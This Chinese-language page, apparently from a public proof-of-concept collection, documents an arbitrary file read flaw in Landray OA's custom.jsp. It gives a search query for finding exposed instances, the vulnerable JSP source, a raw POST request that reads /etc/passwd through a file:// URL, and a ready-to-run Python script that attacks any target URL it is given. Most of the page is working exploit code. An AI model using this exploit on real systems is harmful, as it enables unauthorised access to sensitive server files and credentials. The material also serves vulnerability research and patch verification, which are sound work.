mirror of
https://github.com/Threekiii/Awesome-POC.git
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103 lines
3.2 KiB
Markdown
103 lines
3.2 KiB
Markdown
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# 蓝凌OA custom.jsp 任意文件读取漏洞
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## 漏洞描述
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深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏洞。攻击者可利用漏洞获取敏感信息。
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## 漏洞影响
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```
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蓝凌OA
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```
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## 网络测绘
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```
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app="Landray-OA系统"
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```
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## 漏洞复现
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出现漏洞的文件为 custom.jsp
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```jsp
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<%@page import="com.landray.kmss.util.ResourceUtil"%>
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<%@page import="net.sf.json.JSONArray"%>
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<%@page import="net.sf.json.JSONObject"%>
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<%@ page language="java" pageEncoding="UTF-8"%>
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<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
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<%
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JSONObject vara =
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JSONObject.fromObject(request.getParameter("var"));
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JSONObject body = JSONObject.fromObject(vara.get("body"));
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%>
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<c:import url='<%=body.getString("file") %>'>
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<c:param name="var" value="${ param['var'] }"></c:param>
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</c:import>
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```
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请求包为
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```plain
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POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
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Content-Length: 42
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Content-Type: application/x-www-form-urlencoded
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Accept-Encoding: gzip
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var={"body":{"file":"file:///etc/passwd"}}
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```
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: 蓝凌OA 任意文件读取 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/sys/ui/extend/varkind/custom.jsp"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded"
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}
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data = 'var={"body":{"file":"file:///etc/passwd"}}'
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try:
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在请求 {}/sys/ui/extend/varkind/custom.jsp \033[0m".format(target_url))
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if "root:" in response.text and response.status_code == 200:
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print("\033[36m[o] 成功读取 /etc/passwd \n[o] 响应为:{} \033[0m".format(response.text))
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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